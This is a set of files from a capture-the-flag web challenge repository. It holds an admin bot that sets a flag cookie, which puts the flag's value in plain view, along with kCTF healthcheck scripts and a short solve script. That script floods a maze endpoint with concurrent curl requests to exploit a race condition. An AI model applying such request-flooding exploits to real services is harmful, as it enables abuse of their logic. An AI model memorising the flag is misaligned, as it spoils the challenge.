/Web/forms/challenge/app/bot.py:
--------------------------------------------------------------------------------
1 | from secrets import token_hex
2 | from selenium.webdriver import Firefox, FirefoxOptions
3 | from selenium.webdriver.common.by import By
4 | from selenium.webdriver.support import expected_conditions as EC
5 | from selenium.webdriver.support.ui import WebDriverWait
6 | import time
7 | from uuid import UUID
8 |
9 | BASE_URL = 'http://localhost:5000'
10 |
11 |
12 | def visit(id, questions_to_fill):
13 | print(f'Visiting {id}')
14 | options = FirefoxOptions()
15 | options.add_argument('--headless')
16 | browser = Firefox(options=options)
17 | browser.set_page_load_timeout(10)
18 | try:
19 | browser.get(BASE_URL)
20 | browser.add_cookie({'name': 'flag', 'value': 'ictf{jp_2022_such_4_c00l_3nc0d1ng}'})
21 | browser.get(f'{BASE_URL}/form/fill/{id}')
22 |
23 | for q in questions_to_fill:
24 | question = browser.find_element(By.NAME, q)
25 | question.send_keys(token_hex(8))
26 |
27 | button = browser.find_element(By.NAME, 'submit')
28 | button.click()
29 | time.sleep(10)
30 | finally:
31 | browser.quit()
32 |
--------------------------------------------------------------------------------
/Web/forms/challenge/app/templates/admin_confirmation.html:
--------------------------------------------------------------------------------
1 | {% extends "base.html" %}
2 |
3 | {% block title %}Done!{% endblock %}
4 |
5 | {% block content %}
6 |
30 |
--------------------------------------------------------------------------------
/Web/the_amazing_race/healthcheck/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM gcr.io/kctf-docker/healthcheck@sha256:abe5bc78f1eed01a050bc9efccde279aef560888598c0a04547b383a1429c6d4
15 |
16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/
17 | RUN chmod +x /home/user/*
18 |
19 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py
20 |
--------------------------------------------------------------------------------
/Web/the_amazing_race/healthcheck/healthcheck.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import requests
4 |
5 | try:
6 | s = requests.Session()
7 | r = s.get(f"http://localhost:8000/").text
8 | if "View" in r:
9 | exit(0)
10 | else:
11 | exit(1)
12 | except:
13 | exit(1)
14 |
--------------------------------------------------------------------------------
/Web/the_amazing_race/healthcheck/healthcheck_loop.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Copyright 2020 Google LLC
3 | #
4 | # Licensed under the Apache License, Version 2.0 (the "License");
5 | # you may not use this file except in compliance with the License.
6 | # You may obtain a copy of the License at
7 | #
8 | # https://www.apache.org/licenses/LICENSE-2.0
9 | #
10 | # Unless required by applicable law or agreed to in writing, software
11 | # distributed under the License is distributed on an "AS IS" BASIS,
12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | # See the License for the specific language governing permissions and
14 | # limitations under the License.
15 | set -Eeuo pipefail
16 |
17 | TIMEOUT=20
18 | PERIOD=30
19 |
20 | export TERM=linux
21 | export TERMINFO=/etc/terminfo
22 |
23 | while true; do
24 | echo -n "[$(date)] "
25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then
26 | echo 'ok' | tee /tmp/healthz
27 | else
28 | echo -n "$? "
29 | echo 'err' | tee /tmp/healthz
30 | fi
31 | sleep "${PERIOD}"
32 | done
33 |
--------------------------------------------------------------------------------
/Web/the_amazing_race/x.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from subprocess import Popen
4 | from time import sleep
5 |
6 | mazeId = "29f43f1a-294c-49fc-bef1-285af4f8a148"
7 | # Can tunnel through walls in specified direction if there's at least
8 | # one empty space before the wall
9 | #
10 | # Run, readjust position/direction as desired, repeat until flag
11 | url = f"http://localhost:80/move?id={mazeId}&move=down"
12 |
13 | for i in range(50):
14 | Popen(["curl", "-X", "POST", url])
15 | sleep(.00)
16 |
--------------------------------------------------------------------------------